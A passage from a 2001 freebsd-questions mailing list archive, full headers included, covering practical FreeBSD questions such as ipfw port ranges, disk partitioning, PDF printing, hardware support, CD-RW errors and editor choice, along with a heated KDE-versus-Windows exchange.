TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > > It's perfectly possible to run applications > > such as Netscape without a window manager. > > There is a command-line version of Netscape??? Where? No. But you can run Netscape on the bare X-Interface, without any window manager. All you have to do is to create a new /etc/X11/xinit/xinit.rc with the single line exec netscape in it. If you are looking for a text-console browser you have the choice between lynx, links and w3m . I prefer links, but would not risk a flame-war about it. > > This is not the someotheroperatingsystem-questions@FreeBSD.org list. > > It seems a lot like the Ihaveonlytwoyearsofexperience@freebsd.org list. This was a UseWhatEverYouLikeButIonlyAnswerFreeBSDQuestions@etc.ppp.org answer. Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:33:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 735FC37B416 for ; Tue, 20 Nov 2001 13:33:41 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fAKLXa769468; Tue, 20 Nov 2001 15:33:36 -0600 (CST) (envelope-from dan) Date: Tue, 20 Nov 2001 15:33:35 -0600 From: Dan Nelson To: Sheldon Hearn Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Specififying IPFW unpriveleged port ranges with a mask Message-ID: <20011120213335.GA44741@dan.emsphone.com> References: <20011120193021.GE13254@dan.emsphone.com> <6463.1006291210@axl.seasidesoftware.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <6463.1006291210@axl.seasidesoftware.co.za> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 20), Sheldon Hearn said: > On Tue, 20 Nov 2001 13:30:21 CST, Dan Nelson wrote: > > How about just use range syntax: 1024-65535? I'm not sure why > > someone would want to use port:mask notation. > > Because of the IP_FW_MAX_PORTS limitation? See ipfw(8). Have I > misunderstood the page? To store a port range or port:mask, ipfw uses 2 entries in the ports array to store lo+hi, or port+mask, and sets a bit in the rule's 'flags' field saying "first 2 ports are a range / mask". Take a look at /usr/include/netinet/ip_fw.h, and the flags: IP_FW_F_SRNG IP_FW_F_DRNG IP_FW_F_SMSK IP_FW_F_DMSK A side-effect of this is that you may only use a one range or port:mask clause (and not both) in each rule, and up to IP_FW_MAX_PORTS-2 other ports. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:34: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 4F55437B42B for ; Tue, 20 Nov 2001 13:34:03 -0800 (PST) Received: (qmail 79396 invoked by uid 100); 20 Nov 2001 21:34:16 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.52312.300726.769886@guru.mired.org> Date: Tue, 20 Nov 2001 15:34:16 -0600 To: "Scott Gerhardt" Cc: questions@freebsd.org Subject: Re: Disk Partitioning In-Reply-To: <41965224@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Scott Gerhardt types: > I'm setting up a multipurpose production server for HTTP, POP3 and DB that > would serve up to 100 virtual hosts and 300 POP accounts. > > I have no idea about disk space required for logging and mail. Any > insights? Read through the -questions archives. This comes up all the time. > Is it a good idea to create separate partitions for /var/mail and /var/log > to keep things separate incase of runaway log files? No. If either one runs out of space, you're hosed. Putting them into two smaller partitions just creates more things that can run out of space and hose you. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:36:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id 1B33137B416 for ; Tue, 20 Nov 2001 13:36:27 -0800 (PST) Received: from [195.20.224.204] (helo=mrvdom00.schlund.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 166IYt-0002tX-00; Tue, 20 Nov 2001 22:36:11 +0100 Received: from pd90172e5.dip.t-dialin.net ([217.1.114.229]) by mrvdom00.schlund.de with esmtp (Exim 2.12 #2) id 166IYs-0007WQ-00; Tue, 20 Nov 2001 22:36:10 +0100 Date: Tue, 20 Nov 2001 20:34:31 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Jaime Cc: Eric , Subject: Re: pdf print server In-Reply-To: <20011120160724.C53181-100000@malkav.snowmoon.com> Message-ID: <20011120202926.C46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Jaime wrote: > On Tue, 20 Nov 2001, Eric wrote: > > Anybody know of a simple command line program that can take a pdf and print > > it?? > > Off the top of my head, no. But I searched > http://www.freebsd.org/ports with the string "pdf" and the port htmltopdf > looks promising for your needs. So do several programming languages, such > as PHP and some Perl libraries. Of course this is not exactly what one would call a simple program, but /usr/ports/Graphics/ImageMagick will do what you need. By console-commands like # convert file.pdf file.ps you can convert the file to some printable format. Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:38:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id C8C6437B405 for ; Tue, 20 Nov 2001 13:38:28 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAKLcG20069753; Tue, 20 Nov 2001 13:38:16 -0800 (PST) Date: Tue, 20 Nov 2001 13:38:16 -0800 (PST) From: Ken Bolingbroke To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: home pc use In-Reply-To: <00b401c17203$caba2630$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > Ken writes: > > > The problem I see is that you really haven't > > tried enough to make such a determination. > > I don't have to. Statistically, there is no reason to suspect hardware unless > and until everything else has been eliminated. Did I mention hardware problems? Personally, I'm inclined to suspect the more likely culprit, which other people are too diplomatic to mention: User error. Face it, countless people use KDE. You're whining about all these bugs, how it's not stable, etc. Yet, all these other people, myself included, are just using it. So you couldn't get it to work... Hardware fault? Driver bugs? User error? Take your pick. But the fact is, your sweeping generalizations don't hold true beyond your own limited experience in this case. > > ... unlike Windows, where one or more application > > crashes will take down the whole system. > > Sounds like you've never run NT. Applications can crash all day on my > NT system, and it never blinks. Gee, thanks for calling me a liar. And you wonder why people aren't falling over themselves to help you out of their own goodwill. I've admin'd NT 3.51, 4.0 and 2000, in addition to using it for my workplace desktop. One of my current projects involves migrating a campus into W2K's Active Directory. Yes, I run it. Unfortunately. Take the current pain-in-the-rear application I'm dealing with: Altiris LabExpert. It hangs regularly, for which I fault Altiris, not Microsoft, of course, but the big hassle is that W2K provides me no way to completely kill it--even shutting down the process from the Task Manager doesn't free up the network port it listens on, so it's necessary to reboot the server to restart the application. Yes, UNIX does deal with badly behaved applications better. > > Contrast this to my Windows NT work desktop, > > where I had to pre-emptively reboot at least > > twice weekly so NT doesn't crap out on me in > > the middle of whatever work I'm doing ... > > I've never seen this on an NT system. Oh? And pray tell, what's your average uptime on your NT system? Really, this flame war is all besides the point. You've stated repeatedly that you want Windows and only Windows. You don't want to try any other X window managers, because they're not Windows and don't run Windows application. This is all fine and good, just run Windows then and quit whining. That's what my wife does (sans the whining). Those of us that aren't married to Microsoft can use whatever _works_. And for me, at least, KDE and X works. It does everything I need. As is apparently the case for many other folk as well. So, I really don't get all the noise you're making over this. So you tried it, you don't like it and you want to stick with the text command line. So go for it! That's one of the nice things about FreeBSD, you have the _choice_. But there's really no need to gripe about those who make other choices and are happy with it, even if you couldn't get it to work for yourself. Ken Bolingbroke hacker@bolingbroke.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:39:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id CB2B737B405 for ; Tue, 20 Nov 2001 13:39:43 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 2B646BD37; Tue, 20 Nov 2001 13:12:54 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA26258; Tue, 20 Nov 2001 13:12:53 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAKLAxT74166; Tue, 20 Nov 2001 13:10:59 -0800 (PST) (envelope-from swear@blarg.net) To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Jail in production use References: <10F29E27A956D511B0940050DA8D86A9340BAE@apmail.dagupan.com> From: swear@blarg.net (Gary W. Swearingen) Date: 20 Nov 2001 13:10:58 -0800 In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BAE@apmail.dagupan.com> Message-ID: <2dd72dywpp.72d@localhost.localdomain> Lines: 3 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I used an article on some FreeBSD-related web site which explains how to set up DNS in a jail. I looked for but didn't find the URL. Try google.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:42:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id AC41337B405 for ; Tue, 20 Nov 2001 13:42:39 -0800 (PST) Received: (qmail 79490 invoked by uid 100); 20 Nov 2001 21:42:53 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.52829.529587.242364@guru.mired.org> Date: Tue, 20 Nov 2001 15:42:53 -0600 To: "Mikkel C. Simonsen" , "Charles Burns" Cc: questions@freebsd.org Subject: Re: Elitegroup K7S5A - SIS 735 chipset In-Reply-To: <64309652@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mikkel C. Simonsen types: > > Date: Mon, 19 Nov 2001 14:34:16 -0800 > > From: Kent Stewart > > Subject: Re: Elitegroup K7S5A - SIS 735 chipset > > > Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > > > 4.4-STABLE? What about the onboard ide controller? Can I run my hard > > > disks in udma66 or udma100 mode? > > No, only UDMA33. The networking isn't supported. > Isn't the networking supported by the sis driver? For other OSes you use > the SiS900 driver - and the SiS900 should be supported by the sis > driver. Does the kernel find the lan chip? As Kent Stewart pointed out, there's no driver for the PHY. If you know of an open source driver that works on the 735 - especially the KS75A - as opposed to just the SiS 900, please let us know where it is! Charles Burns types: > >Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > >4.4-STABLE? What about the onboard ide controller? Can I run my hard > >disks in udma66 or udma100 mode? > >Any known problems with this mainboard and FreeBSD? > > > >Your comments are welcome! Tnx! > > I've heard good (performance) things about that chipset, but SiS is > legendary for making crappy, unreliable, flaky, buggy hardware that drives > up the support costs of companies selling mobo's based on their chipsets. > It may work fine, I dunno, but is the $20 you'll have worth your time and > headache if it doesn't? The last two chipsets from SiS have proven gotten good stability reports as well as good performance reports. If this were the first SiS chipset, I might be a bit worried. Given that they've apparently found someone who can do the job properly, I wouldn't worry much about it. That the on-board goodies - network, audio and high-speed IDE - don't work is a minor problem. If you really want to use it, you might wait and see if problems start surfacing when that starts getting used. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:43:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 4ACE337B405 for ; Tue, 20 Nov 2001 13:43:27 -0800 (PST) Received: (qmail 79538 invoked by uid 100); 20 Nov 2001 21:43:37 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.52873.209370.749336@guru.mired.org> Date: Tue, 20 Nov 2001 15:43:37 -0600 To: "Bob Hall" Cc: questions@freebsd.org Subject: Re: Vi a Joke ? In-Reply-To: <3411675@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bob Hall types: > On Mon, Nov 19, 2001 at 04:19:22PM -0600, Mike Meyer wrote: > > dochawk@psu.edu types: > > > David dabbled > > The article reminded me of a study done at Xerox on editors. They had > > one test subject who was something much faster than anyone else, > > whereas most others grouped close together, with relatively minor > > variations compared to that. Turns out the subject in question was > > just typing the correct sequence of commands without worrying about > > seeing the results. Hard to beat that. > Beat what, the skill or the chutzpa? The speed. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:49:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id D521737B405 for ; Tue, 20 Nov 2001 13:49:18 -0800 (PST) Received: (qmail 79661 invoked by uid 100); 20 Nov 2001 21:49:32 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.53228.792684.130499@guru.mired.org> Date: Tue, 20 Nov 2001 15:49:32 -0600 To: Kent Stewart Cc: questions@freebsd.org Subject: Re: Vi a Joke ? In-Reply-To: <34871309@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kent Stewart types: > Anthony Atkielski wrote: > >>One point people forget and that is what can > >>you use when you mess up rc.conf and your system > >>will only boot into single user mode. Learning > >>vi at that point is a painic :). > > Can't you just restore the previous copy of the file and reboot? You made a > > backup copy of the last bootable version of the file before you changed it, > > right? > It is all too often a one line change and no one does a backup then. > That is what gets them in trouble to begin with. It doesn't happen that > often and I have always been able to mount /usr and correct the error > using my editor of choice. The thing you can't do is re-ftp a corrected > version or do an nfs_mount to pick up the backup. Occasionally, we see > files that are corrupt because they have 's on the end of the line. I keep such configuration files in a source management system. The benefits of doing so are enormous, and I recommend doing so for everyone. One of the benefits is that you can always get the old version of a config file back. The catch is that getting the old version back requires the source management system be accessible. You either have to be able to fix the file with ed, or know enough to bring up the subsystems needed to get to the management system by hand. As an aside, if you leave /usr on /, your editor of choice should be available anyway, right? http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 13:57:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pom.INS.cwru.edu (pom.INS.CWRU.Edu [129.22.8.234]) by hub.freebsd.org (Postfix) with ESMTP id 3279A37B416 for ; Tue, 20 Nov 2001 13:57:24 -0800 (PST) Received: from po.cwru.edu (adsl-64-109-42-158.dsl.clevoh.ameritech.net [64.109.42.158]) by pom.INS.cwru.edu with ESMTP (8.11.6+cwru/CWRU-1.1-smtprelay) id fAKLvNU14149; Tue, 20 Nov 2001 16:57:23 -0500 (EST) (from sjh13@po.cwru.edu for ) Message-ID: <3BFAD1CC.4090603@po.cwru.edu> Date: Tue, 20 Nov 2001 16:57:32 -0500 From: Steven Huwig User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011105 X-Accept-Language: en-us MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: CD-RW perpetually busy (even after reboot) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I've got a Creative Labs CD-RW, and I've burnt many a CD on it in FreeBSD. Unfortunately, now it's acting odd. Specifically, whenever any attempt is made to access it, it replies "device busy." This lasts past a reboot (meaning I can't do anything with it at all). It is not already mounted. This all started when I recompiled my kernel for IPSEC (still at 4.4-RELEASE) and then tried to burn a CD. It hung, and eventually I killed the process. This is the relevant portion of /var/log/messages : Nov 14 14:36:02 mulder /kernel: acd1: SEND_OPC_INFO command timeout - resetting Nov 14 14:36:02 mulder /kernel: ata1: resetting devices .. done Nov 14 14:36:37 mulder /kernel: acd1: SEND_OPC_INFO command timeout - resetting Nov 14 14:36:37 mulder /kernel: ata1: resetting devices .. done Nov 14 14:36:46 mulder su: steve to root on /dev/ttyp0 Nov 14 14:38:06 mulder su: steve to root on /dev/ttyp3 Nov 14 14:39:03 mulder /kernel: acd1: WRITE_BIG - MEDIUM ERROR asc=73 ascq=03 error=00 Nov 14 14:39:03 mulder /kernel: acd1: CLOSE_TRACK/SESSION - ILLEGAL REQUEST asc=2c ascq=00 error=00 Nov 14 14:41:29 mulder /kernel: acd1: SEND_OPC_INFO command timeout - resetting Nov 14 14:41:29 mulder /kernel: ata1: resetting devices .. ata1-slave: timeout waiting for command=ef s=80 e=20 Nov 14 14:41:29 mulder /kernel: ata1-slave: timeout waiting to give command=ef s=80 e=20 Nov 14 14:41:29 mulder /kernel: done Ever since then, I have not been able to access acd1. The other device on the bus is fine, and everything seems to autodetect properly at boot. acd1: CD-RW at ata1-slave using WDMA2 (I have tried switching to PIO with no effect.) The following is output to dmesg when I try to mount something from /dev/acd1: "ata1-slave: too many segments in DMA table" When I switch to PIO, it doesn't give me any error message, but still claims the device is busy. I've disassembled and reassembled the machine since then (upgrading memory / HD), and it's still nonfunctional. According to fstat, nothing is using acd1. So, can you help me figure out what's going on? I'm worried that I may have zapped my CD-RW drive or something. I don't have any other operating systems to test this theory, though. Is there a way to "reset" this device? (as it looks like the machine was trying to do this and failed) Thanks! (please follow up via e-mail, I'm not subscribed to -questions.) -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14: 6:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43]) by hub.freebsd.org (Postfix) with ESMTP id 1A1D937B405 for ; Tue, 20 Nov 2001 14:06:16 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.154.189]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011120220614.KLGF10885.mta03-svc.ntlworld.com@lungfish.ntlworld.com>; Tue, 20 Nov 2001 22:06:14 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAKM6Cn01967; Tue, 20 Nov 2001 22:06:12 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id WAA04898; Tue, 20 Nov 2001 22:05:41 GMT (envelope-from scott) Date: Tue, 20 Nov 2001 22:05:40 +0000 From: Scott Mitchell To: Toomas Aas Cc: questions@FreeBSD.ORG, Charles Burns Subject: Re: Recommended SCSI harddrives Message-ID: <20011120220540.A381@localhost> References: <200111201841.fAKIfwa31402@lv.raad.tartu.ee> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200111201841.fAKIfwa31402@lv.raad.tartu.ee>; from toomas.aas@raad.tartu.ee on Tue, Nov 20, 2001 at 08:41:08PM +0200 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 08:41:08PM +0200, Toomas Aas wrote: > Hi Charles! > > During last 5 years or so, I've had a grand total of 3 SCSI drives > die on me. Two of them were Western Digital, one was Quantum. I > don't think I'll be buying any more Quantum SCSI drives soon. > Especially after Quantum was purchased by Maxtor (one of my least > favourite HD manufacturers). > > > I was looking at IBM as well, but I have lost trust in them after their > > 75GXP drive, which is roughly as reliable as Windows 95. Are their SCSI > > drives better? > > Sure their new IDE drives have horrible track record, but I've had > only good experience with their SCSI drives. I have a total of 15 > IBM SCSI drives running in my servers right now and they all hum > along just fine - the oldest are going their third year, the newest > are from this year. > > I guess if I had to buy SCSI hard disk today, I'd still choose IBM. > The production processes of IDE and SCSI disks should be distinct > enough so that the SCSI drives don't get "infected" with the > problems of current IDE drives. That's just my guess, though, so > please take it for what it's worth. I'll second Toomas' endorsement of IBM's SCSI drives -- we're running several dozen of them in our servers and AFAIK none have failed yet (they're mostly 1-2 years old). This is just subjective opinion, but the build quality does seems better than the IDE models. The SCSI drives are definitely heavier and just feel more solid. Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:10:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f125.law3.hotmail.com [209.185.241.125]) by hub.freebsd.org (Postfix) with ESMTP id 2E54D37B419 for ; Tue, 20 Nov 2001 14:10:31 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 14:10:31 -0800 Received: from 213.225.121.41 by lw3fd.law3.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 22:10:30 GMT X-Originating-IP: [213.225.121.41] From: "Thor Legvold" To: freebsd-questions@freebsd.org Cc: s_bschmi@ira.uka.de Subject: Re: vpn with mpd-netgraph, 4.4-STABLE Date: Tue, 20 Nov 2001 22:10:30 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 22:10:31.0146 (UTC) FILETIME=[2B1D2CA0:01C17210] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks Benedikt, I've installed it and will try it out. From what I've read on Deja it seems that Netgraph is the preferred method, and although the documentation is thorough, it's very theoretical/technical, not very practical. All IMHO. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:15:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 24B5937B416 for ; Tue, 20 Nov 2001 14:15:40 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id OAA09741; Tue, 20 Nov 2001 14:15:19 -0800 Message-ID: <3BFAD5F7.3060902@owt.com> Date: Tue, 20 Nov 2001 14:15:19 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Mike Meyer Cc: questions@freebsd.org Subject: Re: Vi a Joke ? References: <15354.53228.792684.130499@guru.mired.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > Kent Stewart types: > >>Anthony Atkielski wrote: >> >>>>One point people forget and that is what can >>>>you use when you mess up rc.conf and your system >>>>will only boot into single user mode. Learning >>>>vi at that point is a painic :). >>>> >>>Can't you just restore the previous copy of the file and reboot? You made a >>>backup copy of the last bootable version of the file before you changed it, >>>right? >>> >>It is all too often a one line change and no one does a backup then. >>That is what gets them in trouble to begin with. It doesn't happen that >>often and I have always been able to mount /usr and correct the error >>using my editor of choice. The thing you can't do is re-ftp a corrected >>version or do an nfs_mount to pick up the backup. Occasionally, we see >>files that are corrupt because they have 's on the end of the line. >> > > I keep such configuration files in a source management system. The > benefits of doing so are enormous, and I recommend doing so for > everyone. One of the benefits is that you can always get the old > version of a config file back. I have several almost identical systems as far as hardware is concerned. What works on one can be used on the others. The software is different but things like NIC's, video, and sounds cards are identical models. I was introduced to vi when we were getting setup to run our benchmarks on the uni-processor Cray they setup on your system. By the time better editors came along I was too set in my ways :). > > The catch is that getting the old version back requires the source > management system be accessible. You either have to be able to fix the > file with ed, or know enough to bring up the subsystems needed to get > to the management system by hand. I have never found that I couldn't "mount -a". I do it all of the time when it comes to doing an installworld. In the few times where I bungled a quote, I could mount everything then too. > > As an aside, if you leave /usr on /, your editor of choice should be > available anyway, right? I setup / as a 250MB partition and /usr is much larger. I also have a separate /var and /tmp. I found that splitting /usr/src and /usr/obj out was a speed advantage during buildworlds. I have 4 UDMA-100 controllers and the HD's are all on different controllers. Having the system, source, and output on different controllers was worth about a 1/3 reduction in clock time. Kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:16: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bsd.alexe.org 